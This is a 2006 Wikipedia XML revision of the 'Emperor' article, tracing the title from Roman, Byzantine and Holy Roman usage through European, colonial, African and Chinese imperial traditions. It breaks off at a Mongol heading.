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[[he:קיסר יפן]]
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  <page>
    <title>Emperor</title>
    <id>10111</id>
    <revision>
      <id>40560239</id>
      <timestamp>2006-02-21T12:44:33Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">:''This article is about Emperor/Empress in the meaning of &quot;monarch&quot;, for all other uses, see: [[Emperor (disambiguation)]] or [[Empress (disambiguation)]]''

An '''emperor''' is a (male) [[monarch]], usually the [[monarch|sovereign]] ruler of an [[empire]] or another type of imperial realm. '''Empress''' is the feminine form and can either be the wife of an emperor or a woman being an imperial monarch herself. Emperors are generally recognised to be above [[monarch|king]]s in [[honour]] and [[Royal and noble ranks|rank]].

[[Emperor Akihito]] of [[Japan]] is currently the world's only reigning emperor.

==Distinction between Emperor and other types of monarch==
Both kings and emperors are [[monarch]]s. There is no single rule to distinguish the one from the other: several factors, like interpretations of historians, the size and characteristics of the governed realm, and the title(s) chosen by the monarch play a part in distinguishing the one from the other. General characteristics indicating that a monarch is to be considered an emperor rather than a king include:
* The monarch chose a title that usually translates as &quot;emperor&quot; in English, and/or is accepted as the equivalent of &quot;emperor&quot; in international diplomatic relations;
* The monarch rules over other monarchs, without stripping monarchy-related titles from these subjects (&quot;[[vassal]]s&quot; or non-sovereign monarchs);
* The monarch assumes divine or other high-ranked religious characteristics (see: [[imperial cult]], [[caesaropapism]]);
* The monarch rules several formerly sovereign countries, or peoples from different nations or ethnic provenance.

Where the title chosen by the monarch has become a separate concept in the English language, the distinction whether this monarch would have been an &quot;emperor&quot; or a &quot;king&quot; is often no longer made: for instance [[caliph]], [[sultan]] or [[khan]] as a concept of a type of monarch is usually defined separately, making it redundant to apply the emperor/king distinction to these types of [[monarchy]].

===Imperium maius===
In [[Christian]] Europe the use of the title emperor is more than an affectation. A king recognises that the [[church]] is an equal or superior in the religious sphere, emperors do not. This was illustrated by [[Henry VIII of England|Henry VIII]] of [[England]] who started to use the word [[imperium]] in his dispute with the [[Pope]] over his first [[divorce]]. By stating that they were emperors the Russian [[Tsar]]s claimed to be the head of the [[Russian Orthodox]] Church and did not recognise any superior authority but [[God]].  The distinction began to blur when kings began to claim [[Divine right of kings|divine rights]].

==Historical development of the Roman &amp; Christian tradition==
===Europe &amp; Byzantium===
====The Roman empires and their Tradition====
In the Roman tradition a large variety in the meaning and importance of the Imperial form of monarchy developed: in ''intention'' it was always the highest office, but it could as well fall down to a redundant title for nobility that had never been near to the &quot;Empire&quot; they were supposed to be reigning. Also the ''name'' of the position split in several branches of Western tradition, see section on the [[#Ancient Rome - origin of Western terminology|Origin of the Western terminology]] below. 

Importance and meaning of [[Coronation]] ceremonies and [[regalia]] also varied within the tradition: for instance [[Holy Roman Emperors]] could only be crowned emperor by the [[pope]], which meant the coronation ceremony usually took place in Rome, often several years after these emperors had ascended to the throne (as &quot;king&quot;) in their home country. The first [[Latin Empire of Constantinople|Latin Emperors of Constantinople]] on the other hand had to be present in the newly conquered capital of their Empire, because that was the only place where they could be granted to become Emperor.

Early [[Roman Emperor]]s on the other hand avoided any type of ceremony or regalia different from what was already usual for ''republican'' offices in the [[Roman Republic]]: the most intrusive change had been changing the color of their robe to ''purple''. Later new symbols of worldly and/or spiritual power, like the [[Globus cruciger|orb]] became an essential part of the Imperial accessories.

Rules for indicating successors also varied: there was a tendency towards ''male'' ''inheritance'' of the supreme office, but as well election by noblemen, as ruling Empresses (for empires not too strictly under [[salic law]]) are known. Ruling monarchs could additionally steer the succession by adoption, as often occurred in the two first centuries of Imperial Rome. Of course, intrigue, murder and military force could also mingle in for appointing successors, the Roman Imperial tradition made no exception to other monarchical traditions in this respect. Probably the epoch best known for this part of the Imperial tradition is [[Roman Emperor (Crisis of the Third Century)|Rome's third century]]

====Roman Emperors====
=====Ancient Rome - origin of Western terminology=====
:''see: [[Roman Emperor]]''
When [[Roman Republic|Republican Rome]] turned into a [[monarchy]] again, in the second half of the 1st century BC, at first there was no name for the title of the new type of monarch: ancient Romans abhorred the name [[Roman king|Rex (&quot;king&quot;)]], and after [[Julius Caesar]] also [[Roman dictator|Dictator]] (which was an acknowledged office in Republican Rome, Julius Caesar not being the first to hold it).

In fact [[Caesar Augustus]], who can be considered the first [[Roman Emperor]], avoided naming himself anything that could be reminding of &quot;monarchy&quot; or &quot;dictature&quot;. Instead, these first Emperors constructed their office as a complicated collection of offices, titles, and honours, that were consolidated around a single person and his closest relatives (while in the republic the &quot;taking of turns&quot;, often in shared offices, had been the principle for passing on power). These early Roman emperors didn't need a specific name for their monarchy: they had enough offices and powers accumulated so that in any field of power they were &quot;unsurpassable&quot;, and besides: everybody just ''knew'' they had supreme power. If needed that supreme power could be demonstrated by a proces for high treason, exile, poisoning, or whatever, for those who gave semblance not to understand.

As the first Roman Emperors did not rule by virtue of any ''particular'' republican or senatorial office, the ''name'' given to the office of &quot;[[head of state]]&quot; in this new monarchical [[form of government]] became different depending on tradition, none of these traditions consolidated in the early days of the [[Roman Empire]]:
* '''[[Princeps]]''' (as, for example, in [[Tacitus]]' ''[[Annals (Tacitus)|Annals]]''). This tradition did not continue. An echo can be found in [[Niccolo Machiavelli]]'s ''[[The Prince]]'', where &quot;Prince&quot; is used as a generic name for &quot;monarch&quot;, and later in the first dynasties of Imperial monarchs of ancient Rome being called [[principate]] by historians. This name for the Roman monarch appears to go back to the office of [[Princeps senatus]] (which can be translated as &quot;president of the senate&quot;), an office since Augustus held exclusively by the ruling monarch.
* '''[[Caesar (title)|Caesar]]''' (as, for example, in [[Suetonius]]' ''[[Twelve Caesars]]''). This tradition continued in many languages: in [[German (language)|German]] it became &quot;[[Kaiser]]&quot;; in certain [[Slavic languages]] it became &quot;[[Tsar]]&quot;; in [[Hungarian (language)|Hungarian]] it became &quot;[[Nobility and Royalty of the Kingdom of Hungary|Császár]]&quot;, and several more variants. The name derived from [[Julius Caesar]]'s [[cognomen]] &quot;Caesar&quot;: this cognomen was adopted by all Roman emperors, exclusively by the ruling monarch after the [[Julio-Claudian dynasty]] had died out. In this tradition Julius Caesar is sometimes described as the first Caesar/emperor (following Suetonius).
*'''[[Augustus (honorific)|Augustus]]''' was the [[honorific]] first bestowed on Emperor Augustus: after him all Roman emperors added it to their name. Although it had a high symbolical value, something like &quot;akin to divinity&quot;, it was generally not used to indicate the office of ''Emperor'' itself. Exceptions include the title of the ''[[Augustan History]]'', a half-mockumentary biography of the Emperors of the 2nd and 3rd century. Augustus had (by his last will) granted the feminine form of this honorific ([[Augusta]]) to his wife. Since there was no &quot;title&quot; of Empress(-consort) whatsoever, women of the reigning dynasty sought to be granted this honorific, as the highest attainable goal. Few were however granted the title, and certainly not as a rule all wives of reigning Emperors.
* '''[[Imperator]]''' (as, for example, in [[Pliny the Elder]]'s ''[[Naturalis Historia]]''). In the [[Roman Republic]] Imperator meant &quot;(military) commander&quot;. In the late Republic ''Imperator'' was a title granted to Roman generals by their troops and the [[Roman Senate]] after a great victory, roughly comparable to [[field marshal]]. This title, during the Republic, had been given to people seven times at all: in 90 BC to a Gaius Julius Caesar, in 84 BC to Cneus Pompeus, in 60 BC to the other, most famous, Gaius Julius Caesar, relative of the former, in 50 BC to Marcus Tullius Cicero, in 45 BC again to Caius Julius Caesar, in 44 BC to Marcus Iunius Brutus, and in 41 BC to Lucius Antonius (relative and ally of the more famous Marcus Antonius). Soon after the emergence of the imperial monarchy in Rome  &quot;Imperator&quot; also became an exclusive title, adopted by the ruling monarch. This led to &quot;Emperor&quot; in [[English (language)|English]] and, among other examples, &quot;Empereur&quot; in [[French (language)|French]]. The Latin feminine form [[Imperatrix]] only developed after &quot;Imperator&quot; had gotten the connotation of &quot;Emperor&quot;. In 15 AD Tiberius Augustus Germanicus was also ''imperator'' with the old meaning of the term during the empire of his most famous relative Tiberius Augustus.
* {{polytonic|'''Αὐτοκράτωρ''', '''βᾰσῐλεύς'''}}: although the Greeks used equivalents of &quot;Caesar&quot; (Καίσαρ) and &quot;Augustus&quot; (in two forms: Αύγουστος or translated as Σεβαστός/&quot;Sebastos&quot;) these were rather used as part of the name of the Emperor than as an indication of the office. Instead of developing a new name for the new type of monarchy, they used {{polytonic|αὐτοκράτωρ}} (&quot;autokratôr&quot;, only partly overlapping with the modern understanding of &quot;[[autocrat]]&quot;) or {{polytonic|βᾰσῐλεύς}} (&quot;[[basileus]]&quot;, until then the usual name for &quot;[[sovereign]]&quot;). &quot;Autokratôr&quot; ''could'' be seen as a translation of the Latin &quot;Imperator&quot; (it was certainly used as its replacement in Greek-speaking part of the Roman Empire), but also here there is only partial overlap between the meaning of the original Greek and Latin concepts. For the Greeks &quot;Autokratôr&quot; was not a military title, and was closer to the Latin ''dictator'' concept (&quot;the one with unlimited power&quot;), before it came to mean Emperor. Basileus appears not to have been used in the meaning of Emperor before the 7th century.

After the problematic [[Year of the four emperors|year 69]], the [[Flavian Dynasty]] reigned for about half a century. The succeeding [[:Category:Nerva-Antonine Dynasty|Nervan-Antonian Dynasty]], ruling for most of the [[2nd century]], stabilised the Empire. This epoch became known as the era of the ''[[Five Good Emperors]]'', and was followed by the short-lived [[Severan Dynasty]].

In the [[3rd century]] [[Barracks Emperor]]s succeeded one another at short intervals. The next period, known as the [[Dominate]], started with the [[Tetrarchy]] installed by [[Diocletian]]. 

Through most of the [[4th century]], there were separate emperors for the [[Western Roman Empire|Western]] and [[Eastern Roman Empire|Eastern part]] of the Empire. Although there were several dynastic relations between the Emperors of both parts, they also often were adversaries. The last Emperor to rule a unified Roman Empire was [[Theodosius I|Theodosius]]. Less than a [[Roman Emperor (Late Empire)|century after his death]] in [[395]], the last Emperor of the Western half of the Empire was driven out.

=====The Eastern Emperors after 476=====
:''see [[Byzantine Emperor]]''

======Byzantine Emperors (Second Rome)======
[[Image:Meister von San Vitale in Ravenna 003.jpg|thumb|380px|Under [[Justinian I]], reigning in the 6th century, parts of Italy were for a few decades (re)conquered from the [[Ostrogoth]]s: that's why this famous [[mosaic]], featuring the Byzantine emperor in the center, can be admired at [[Ravenna]].]]

Historians generally call the eastern part of the Roman Empire the [[Byzantine Empire]] due to its capital [[Constantinople]], whose ancient name was [[Byzantium]] (now [[Istanbul]]). After the fall of Rome to [[barbarian]] forces in [[476]], the title of &quot;emperor&quot; lived on in rulers of Constantinople ([[New Rome]]).

The Byzantine Emperors completed the transition from the idea of the Emperor as a semi-republican official to the Emperor as a traditional monarch when Emperor [[Heraclius]] took the title of [[Basileus]] (the original [[Greek language|Greek]] word for &quot;King&quot;) in the [[seventh century]]. A specifically Byzantine development of emperor's position was [[cesaropapism]], position as leader of christians.

The Byzantine empire produced also three reigning empresses: [[Irene (empress)|Irene]], [[Zoe (empress)|Zoe]], and [[Theodora (11th century)|Theodora]].

======Latin Emperors======
In [[1204]], the [[Fourth Crusade]] captured Constantinople, and soon established a [[Latin Empire of Constantinople]] under one of the Crusader leaders. The Latin Empire was, however, unable to consolidate control of the whole of the former territories of the Byzantine Empire. Driven out of Constantinople in [[1261]] some territories in Greece still recognized their authority for some time. Eventually, the Imperial title became redundant and did not even contribute any longer to the prestige of the noblemen in their own country: it remained dormant in [[1383]].

======Byzantine Emperors after the 4th Crusade======
In Asia Minor, after being driven out of Constantinople, relations of the last pre-Crusader emperors established the [[Empire of Nicaea]] and the [[Empire of Trebizond]]. Similarly, the [[Despotate of Epirus]] was founded in the Western Balkans (the rulers of the latter took the title of Emperor for a short time following their conquest of Thessalonica a few decades later).

Eventually, the Nicaean Emperors were successful in reclaiming the Byzantine imperial title. They managed to force Epirus into submission and retake Constantinople by [[1261]], but Trebizond remained independent. The restored Byzantine empire finally fell due to [[Ottoman Empire|Ottoman]] invasion in [[1453]]. The [[Empire of Trebizond|Trapezuntines]] held on until [[1461]].

====Revivals of the title in Post-Roman Christian Europe====
:''See: [[Holy Roman Emperor]]''

=====Charlemagne and the Carolingian heirs=====
On [[25 December ]], [[800]], [[Charlemagne|Charles I]], [[List of Frankish Kings|King of the Franks]], was crowned Emperor by [[Pope Leo III]] in [[Rome]]. This was seen as a revival of the [[Western Roman Empire]], and descendants of Charlemagne continued to be crowned in Rome through the 9th century. The increasing divisions within the Frankish lands, however, led to a suspension of the office.

=====Holy Roman Emperors=====
[[Image:Kronung Heinrich II.jpg|thumb|220px|Coronation of the Holy Roman Emperor (and later ''Saint'') [[Henry II, Holy Roman Emperor|Henry II]]. [[Christ]] is pictured as performing the actual coronation, the highly symbolical sword (&quot;[[Reichsschwert]]&quot;) and [[Holy Lance]] are handed by the saints [[Ulrich of Augsburg|Ulrich]] († 973) and [[Emmeram]] († 652) - Henry had actually been crowned Emperor by [[Pope Benedict VIII]] in [[1014]].]]

In [[962]], [[Otto I, Holy Roman Emperor|Otto I]], King of the Eastern Franks (or [[Germany]]) was again crowned Emperor by the Pope. His successors became known as [[Holy Roman Emperor]]s. The [[Holy Roman Empire]], such as it was, consisted of the Kingdoms of [[List of German monarchs|Germany]], [[Kingdom of Italy|Italy]], and [[King of Burgundy|Burgundy]].

After the 13th century and the fall of the [[Hohenstaufen]] dynasty, the universalistic aspirations of the Emperors became increasingly theoretical, and their control over Italy, still seen as the locus of the proper empire, became increasingly tenuous. Rather than being hereditary, emperors were chosen by the [[prince-elector]]s, in a process codified by the [[Golden Bull of 1356]].

Coronations in Rome became rarer and rarer, until in [[1508]], King [[Maximilian I, Holy Roman Emperor|Maximilian I]], after receiving permission from the pope, declared himself Emperor-Elect without having been crowned in Rome. Although Maximilian's grandson and successor, [[Charles V, Holy Roman Emperor|Charles V]], was crowned in [[Bologna]] in [[1529]] by the Pope, he was the last, and thereafter the position of Holy Roman Emperor was a wholly German post until the Empire's dissolution in [[August 6]], [[1806]].

Even in Germany itself, real control was increasingly tenuous, as various local princes increased their power, so that the [[Habsburg]] emperors who ruled almost continuously from [[1438]] until the end of the empire derived their power much more from their hereditary lands in the south-eastern part of the monarchy than from their position as emperor. As religious differences added to the tensions, compromise was needed ([[Peace of Augsburg]], [[1555]]). The [[Habsburg dynasty]] attempted to reassert authority over the Empire in the [[Thirty Years War]], which ended with the [[Peace of Westphalia]] ([[1648]]) that recognized princes sort of sovereign instead of dependents.

The impotence of the Emperors' position became most nakedly apparent during the brief reign of [[Charles VII, Holy Roman Emperor|Charles VII]] from [[1742]] to [[1745]]. As [[Duke of Bavaria]], Charles was the only non-Habsburg emperor for the last three hundred fifty years of the empire's existence, and his utter inability even to protect his own hereditary lands from the forces of his enemy, [[Maria Theresa of Austria|Maria Theresa]], the Habsburg heiress, showed how empty the position of Holy Roman Emperor had become.

The conquests of the French revolutionary armies in the 1790s made the Empire itself untenable, so that Emperor [[Francis II, Holy Roman Emperor|Francis II]] in [[1804]] took the title of [[Emperor of Austria]] (see below), and ultimately, allowed the dissolution of the Holy Roman Empire a few years later.

=====Overview=====
{{Epochs of Roman Emperors}}

=====Heirs of the Holy Roman Empire=====
======Austria======
:''see: [[Emperor of Austria]]''
On [[11 August ]], [[1804]] anticipating the eventual collapse of the [[Holy Roman Empire]] at the behest of Napoleon I, [[Francis II of the Holy Roman Empire]] assumed the additional title of '''Emperor of Austria''' (as Francis I thereof). The precaution was a wise one, because two years later on [[August 6]] [[1806]] he was obliged to proclaim the dissolution of the Holy Roman Empire.

Emperor [[Karl of Austria]], the last ruling hereditary monarch in that country, &quot;relinquished every participation in the administration of the State&quot; on [[November 11]] [[1918]].

======Germany======
Following victory after the [[Franco-Prussian war]] and the founding of the [[German Empire]], the [[Kingdom of Prussia|Prussian]] king had himself crowned '''German Emperor''' as [[Wilhelm I of Germany|Wilhelm I]] on [[January 18]] [[1871]], as part of the competition with the Emperor of Austria (whose Habsburg dynasty had de facto been hereditary in the Holy Roman Empire for centuries) for dominance in the German-speaking lands. With defeats in [[World War I]] and [[German Revolution|revolution]] breaking out, [[Wilhelm II of Germany|Emperor Wilhelm II]] abdicated on [[9 November]] [[1918]] and a [[Weimar Republic|republic]] was established.

=====Other Catholic &amp; Anglican Emperors=====
======France======
[[Image:Jacques-Louis David 006.jpg|thumb|250px|One of the most notorious Imperial coronation ceremonies was that of Napoleon, crowning himself Emperor in the presence of [[Pope Pius VII]] (who had blessed the [[regalia]]), at the [[Notre Dame de Paris|Notre Dame Cathedral in Paris]].&lt;br&gt;The painting by [[Jacques-Louis David|David]] commemorating the event is equally famous: the gothic cathedral restyled ''[[Empire (style)|style Empire]]'', supervised by the [[Letizia Ramolino|mother of the Emperor]] on the balcony (a fictional addition, while she had not been present at the ceremony), the pope positioned near the altar, Napoleon proceeds to crown his then wife, [[Joséphine de Beauharnais]] as Empress.]]

[[Napoléon Bonaparte]] who was already First Consul of the French Republic (''Premier Consul de la République française'') for life, declared himself '''[[Emperor of the French]]''' (''Empereur des Français'') on [[May 18]], [[1804]]. Despite being ruled by an emperor, it continued to be the [[French First Republic|French Republic]] (''République Française'') until [[1808]], when it was renamed the [[First French Empire|French Empire]] (''Empire Français'').

Napoleon relinquished the title of Emperor of the French on [[6 April]] and again on [[April 11]], [[1814]], but was allowed to style himself '''Emperor of [[Elba]],''' the island of his first exile; see bleow. 
Napoleon's infant son, [[Napoleon II]], was recognized by the Council of Peers, as Emperor from the moment of his father's abdication, and theoretically reigned as &quot;Emperor&quot; for fifteen days, [[June 22]] to [[July 7]] of 1815.

*His nephew [[Napoleon III of France|Napoleon III]] resurrected the title on [[December 2]], [[1852]] after establishing the [[Second French Empire]] in a presidential [[coup]], be it as a constitutional Monarch, failed , and lost it when he was deposed on [[September 4]], [[1870]] by the [[French Third Republic|Third Republic]]. It has not been used in [[France]] since then.
======Elba======
Since [[3 May]] [[1814]], the Sovereign Principality of [[Elba]] (which he had created, as an empty title, on [[18 March]] [[1805]], naming [[Felice Baciocchi]], husband of his sister Elisa Bonaparte, nominal prince of Elba; all powers rested with French civil Commissioners and Military Commanders), in the Tyrhenean Sea, was created a miniature non-hereditary Monarchy under the exiled French Emperor Napoléon I, who was allowed, by the very treaty of Fontainebleau with the major Allied powers on [[27 April]], which accomplished his abdication for himself and his posterity, to further enjoy, for life, the imperial title and other formal trappings of a now nominal emperorship (the islands were ''not'' restyled an empire). It included Capraja, Gorgona, and Montecristo islands, and from June 1814, Pianosa Island.  

But on [[26 February]] [[1815]], the ever ambitious Napoléon abandoned Elba for France, beginning the [[Hundred Days|'Cent jours']], reviving his French Empire for a mere 'Hundred Days'; as this broke the terms of his generous 'golden cage parol', the Allies declared an end to Napoleon's sovereignty over Elba on [[25 March]] [[1815]], and on [[31 March]] [[1815]] Elba was ceded to the restored [[grand-duchy of Tuscany]] by the Congress of Vienna. After this attempted restoration ending in his final defeat, Bonaparte was stripped of every imperial privilige during his second exile, to the much less forgiving Atlantic Isle of [[St. Helena]], to die miserably.

======Spain======
King [[Sancho III of Navarre]] declared himself emperor of Spain in [[1034]].  His son, [[Ferdinand I of Castile]] also took the title in [[1039]].  Ferdinand's son, [[Alfonso VI of Castile]] took the title in [[1077]].  Alfonso VI's grandson, [[Alfonso VII of Castile|Alfonso VII]] was the only one who actually had an imperial coronation in [[1135]].  The title was not exactly hereditary but self proclamations by those that had, wholly or partially, united Christian (northern) Spain often at the expense of killing rival siblings.  The popes and Holy Roman emperors protested at the usage of the imperial title as a usurpation of leadership in western Christendom.  After Alfonso VII's death in [[1157]], the title was abandoned.

======English/British Imperium, Emperors, and Empresses======
In the late [[3rd century]], by the end of the epoch of the ''barracks emperors'' in Rome, there were two [[List of Roman Emperors#Britannic Empire 286 to 297|Britannic Emperors]], reigning for about a decade.

*England

King [[William I of England]] thought it important enough to request and get a Papal blessing for his [[Norman Conquest of England|conquest]] of England. Throughout the high Middle Ages the English kings recognised the supremacy of the Pope in matters spiritual. For example, when [[Thomas à Becket]] was murdered, King [[Henry II of England]] was forced to recognise that, although he ruled temporal matters, spiritual matters came under the authority of the Church in Rome.

This changed with the dispute between [[Henry VIII of England]] and [[Pope Clement VII]] over Henry's wish to have his marriage to [[Catherine of Aragon]] annulled. The [[Act in restraint of Appeals]] (1533) explicitly stated that
:Where by divers sundry old authentic histories and chronicles it is manifestly declared and expressed that this realm of England is an empire, and so hath been accepted in the world, governed by one supreme head and king, having the dignity and royal estate of the [[imperial crown]] of the same.{{ref|Act_in_restraint_of_Appeals}}
The next year the Act of Supremacy (1534) explicitly tied the head of church to the imperial crown:
:The only supreme head in earth of the [[Church of England]] called Anglicana Ecclesia, and shall have and enjoy annexed and united to the imperial crown of this realm.{{ref|Act_of_Supremacy}}
The an Act by the Irish Parliament in 1541 (effective 1542) changed the traditional title used by the Monarchs of England  for the reign over Ireland, from [[Lord of Ireland]] to [[King of Ireland]] and naming Henry head of the Church of Ireland, for similar reasons.

During the [[English Interregnum]] these laws were annulled, but the acts which caused the laws to be in abeyance were themselves, deemed to be null and void by the Parliaments of the [[English Restoration]], so by act of Parliament  [[The Crown]] of England and (later the British and UK crowns) are imperial crowns.

*Britain - also heir to its Indian colony

In [[1801]] when [[Kingdom of Great Britain|Great Britain]] was united with the [[Kingdom of Ireland]], it was proposed that [[George III of the United Kingdom|George III]] become [[Emperor of the British and Hanoverian Dominions]], and therefore Emperor of the [[British Empire]]. George III however rejected the idea, favouring the traditional title of king.

When a royal marriage made it obvious to the British in [[1877]] that their [[Victoria of the United Kingdom|Queen Victoria]] would be outranked by her [[Victoria, Princess Royal and Empress Frederick|own daughter]] who would someday become German Empress, the British government led by [[Prime Minister of the United Kingdom|Prime Minister]] [[Benjamin Disraeli, 1st Earl of Beaconsfield|Benjamin Disraeli]], conferred the additional title ''[[Empress of India]]'' by an Act of Parliament; it was also formally justified as the expression of Britain succeeding as [[paramount ruler]] of the subcontinent the former Mughal '[[Padishah]] of Hind', using indirect rule through hundreds of [[princely state]]s formally under protection, not colonies, but accepting the British Sovereign as their 'feudal' suzerain. That title was relinquished by [[George VI of the United Kingdom|George VI]] with effect from [[August 15]] [[1947]], when [[India]] was granted independence.

The [[Royal and Parliamentary Titles Act 1927]] in which it was agreed that the United Kingdom and the dominions were &quot;equal in status, in no way subordinate one to another in any aspect of their domestic or external affairs, though united by common allegiance to the Crown, and freely associated as members of the [[Commonwealth of Nations|British Commonwealth of Nations]]&quot;. This in effect along with the [[Statute of Westminster, 1931]] marked the beginning of the end of the British Empire and set the basis for the continuing relationship between the [[Commonwealth Realms]] and the structure of the Crown.

=====Byzantium's Orthodox heir: Russia=====
In [[1472]], the last Byzantine emperor's niece, [[Sophia Paleologue]], married [[Ivan III of Russia|Ivan III]], grand duke of Moscow, who began championing the idea of Russia being the successor to the Byzantine Empire. Their grandson [[Ivan IV of Russia|Ivan IV]] crowned himself [[Tsar of Russia|tsar]] in [[16 January]], [[1547]].

On [[31 October ]], [[1721]] [[Peter I of Russia|Peter I]] was crowned emperor as well. He based his claim partially upon a letter discovered in [[1717]] written in [[1514]] from [[Maximilian I, Holy Roman Emperor|Maximilian I]] to [[Vasili III of Russia|Vasili III]], Sophia's son and Ivan IV's father, in which the Holy Roman Emperor used the term in referring to Vasili. The title has not been used in [[Russia]] since the abdication of Emperor [[Nicholas II of Russia|Nicholas II]] on [[15 March]], [[1917]].

[[Imperial Russia]] produced four reigning empresses, all in the [[eighteenth century]].

===(Post-)colonial emperors modeled on Europe===
====The Post-columbian Americas====
[[Image:Dpedro2-emp.png|Pedro II of Brazil on an anual opening of the Congress|thumb|right|240px|Pedro II Emperor of Brazil in [[regalia]] at the opening of the General Assembly (oil painting by [[Pedro Américo de Figueiredo e Melo|Pedro Américo]]).]]
=====Brazil=====
[[Brazil]] declared independence from [[Portugal]] in [[1822]], and made [[Pedro I of Brazil|Dom Pedro]], eldest son of the then-King of Portugal, who was acting as [[regent]], Emperor as Pedro I on [[12 October]].  The empire came to an end with the overthrow of Emperor [[Pedro II of Brazil|Pedro II]] in [[1889]].

=====Haiti=====
[[Haiti]] was declared an empire by its ruler, [[Jean-Jacques Dessalines]], who made himself Jacques I, in [[20 May]], [[1805]].  He was assassinated the next year.  Haiti again became an empire from [[1849]] to [[1859]] under [[Faustin Soulouque]].

=====Mexico=====
[[Image:Edouard Manet 022.jpg|150px|thumb|The execution of Emperor Maximilian (1867) - painting by [[Édouard Manet]].]]

In [[Mexico]], there were two short-lived attempts to create an Empire.  [[Agustín de Iturbide]], the general who helped secure Mexican independence from Spanish rule, was proclaimed Emperor Agustín I in [[12 July]], [[1822]], but was overthrown the next year.

In [[1863]], the invading French, in alliance with Mexican conservatives, proclaimed an empire and invited [[Maximilian of Mexico|Archduke Maximilian]], younger brother of the Austrian Emperor, to become emperor as Maximilian I.  The childless Maximilian also adopted Agustín's grandson as his heir to bolster his claim.  After the withdrawal of French protection in [[1867]], Maximilian was captured and executed by liberal forces.

====Central African Empire====
In [[1976]], President [[Jean-Bédel Bokassa]] of the [[Central African Republic]], proclaimed the country to be the '''[[Central African Empire]]''', and made himself Emperor as Bokassa I.  The expenses of his coronation ceremony actually bankrupted the country. He was overthrown three years later and the republic was restored.

==History on other imperial traditions==
===Pre-Columbian American traditions===
====Aztec Emperors====
The only [[pre-Columbian]] North American rulers to be commonly called emperors were the [[Hueyi Tlatoani]] of the [[Aztec Empire]] ([[1375]]&amp;ndash;[[1521]]).  Spanish [[conquistador]] [[Hernán Cortés]] slew Emperor [[Cuauhtémoc]] and installed puppet emperors who became vassals for [[Spain]].  Mexican [[Maximilian of Mexico|Emperor Maximilian]] built his palace over the ruins of the Aztec one at [[Chapultepec]].

====Inca Emperors====
The only pre-Columbian South American rulers to be commonly called emperors were the [[Sapa Inca]] of the [[Inca Empire]] ([[1438]]&amp;ndash;[[1533]]).  Spanish conquistador [[Francisco Pizarro]], conquered the Inca for the royal crown of Spain, killed Emperor [[Atahualpa]], and installed puppets as well.

===Pre-colonial Africa:===
====Ethiopia====
:''see: [[Emperor of Ethiopia]]''
In [[Ethiopia]], the [[Solomonid dynasty]] used, beginning in [[1270]], the title of &quot;{{IPA|Nəgusä Nägäst}}&quot; which also translates to Emperor and is literally &quot;King of Kings&quot;. The use of the ''king of kings'' style might however already have started a millennium earlier in this region. Another title used by this dynasty was &quot;[[Itegue Zetopia]]&quot;.

&quot;Itegue&quot; translates as Empress, and was also used by the only female reigning Empress, [[Zauditu of Ethiopia|Zauditu]], along with the official title ''Negiste Negest'' (Queen of Kings). 

In [[1936]], the Italian king [[Victor Emmanuel III]] took the title of [[Emperor of Ethiopia]] when that country was under Italian occupation and made part of a colonial entity . After the defeat of the Italians by the [[United Kingdom|British]] ([[1941]]), [[Haile Selassie I of Ethiopia|Haile Selassie]] was restored to the throne but Victor Emmanuel did not relinquish his claim to the title until [[1943]].

Haile Selassie had an unusual sort of godhead status after the [[second world war]] (see [[rastafari]]) which he did not endorse and was not of Ethiopian tradition. He was deposed in [[1974]], the imperial title ending the next year when his son, who had succeeded him, was deposed and exiled.

===Far East===
====Chinese subcontinent====
=====Qin tradition=====
:''see: [[Emperor of China]]''
[[Image:Xian guerreros terracota detalle.JPG|thumb|360px|Warriors from the [[Terracotta Army]] guarding the tomb of [[Qin Shi Huang]], China's first Emperor]]

In [[221 BC]], Ying Zheng, who was [[Chinese sovereign|king]] of [[Qin dynasty|Qin]] at the time, proclaimed himself ''[[Shi Huangdi|shi huangdi]]'', which translates as &quot;first emperor&quot;.  ''Huangdi'' is composed of ''huang'' (&quot;august one&quot;) and ''di'' (&quot;sage-king&quot;), and referred to legendary/mythological sage-emperors living several millennia earlier, of which three were ''huang'' and five were ''di'' (the ''s&amp;#257;nhuáng w&amp;#468;dì'', sometimes speled ''ti'', see: [[The Three August Ones and the Five Emperors]]). Thus Zheng became [[Qin Shi Huang]], abolishing the system where the ''huang''/''di'' titles were reserved to dead and/or mythological rulers. 

The imperial title continued in [[China]] until the [[Qing dynasty]] was overthrown in [[1912]]. The title was briefly revived from [[January 1]], [[1916]] to [[March 22]], [[1916]] by President [[Yuan Shikai]] and again in early [[July]] , [[1917]] when General Zhang Xun attempted to restore last Qing emperor [[Puyi]] to the throne.  Puyi retained the title and attributes of Emperor, as a personal status, until [[1924]].

In general, an emperor would have one empress (''Huanghou'', 皇后) at one time, although posthumous entitlement to empress for a [[concubines|concubine]] was not uncommon.  The earliest known usage of empress was in the [[Han Dynasty]].  The emperor would generally select the empress from his [[harem]].  In subsequent dynasties, when the distinction between wife and concubine became more accentuated, the [[crown prince]] would have chosen an empress-designate before his reign.  [[Imperial China]] produced only one reigning empress, [[Empress Wu|Wu Zetian]], and she used the same Chinese title as an emperor (''Huangdi'', 皇帝).

=====Manchuria=====
The [[Khitan Empire]] was founded in this region on [[907]].  They were overthrown by the [[Jurchen]] [[Jin Dynasty (1115&amp;ndash;1234)|Jin Empire]] ([[1115]]&amp;ndash;[[1234]]) which was in turn conquered by Mongol armies.  In [[1616]], [[Ming dynasty|Ming]] China's Jurchen vassal, [[Nurhaci]], rebelled and crowned himself emperor of the renamed [[Manchu]]s.  His successors, the [[Qing dynasty]], conquered China in [[1644]] and reigned until [[Xinhai Revolution|revolution]] toppled them in [[1912]]. After the Japanese occupied [[Manchuria]] in [[1931]], they proclaimed it to be the Empire of [[Manchukuo]], and [[Puyi]], the last Qing emperor of China, became puppet emperor.  This puppet state came to an end with the Japanese defeat in [[1945]].

====Mongol Emperors of the Yuan dynasty====
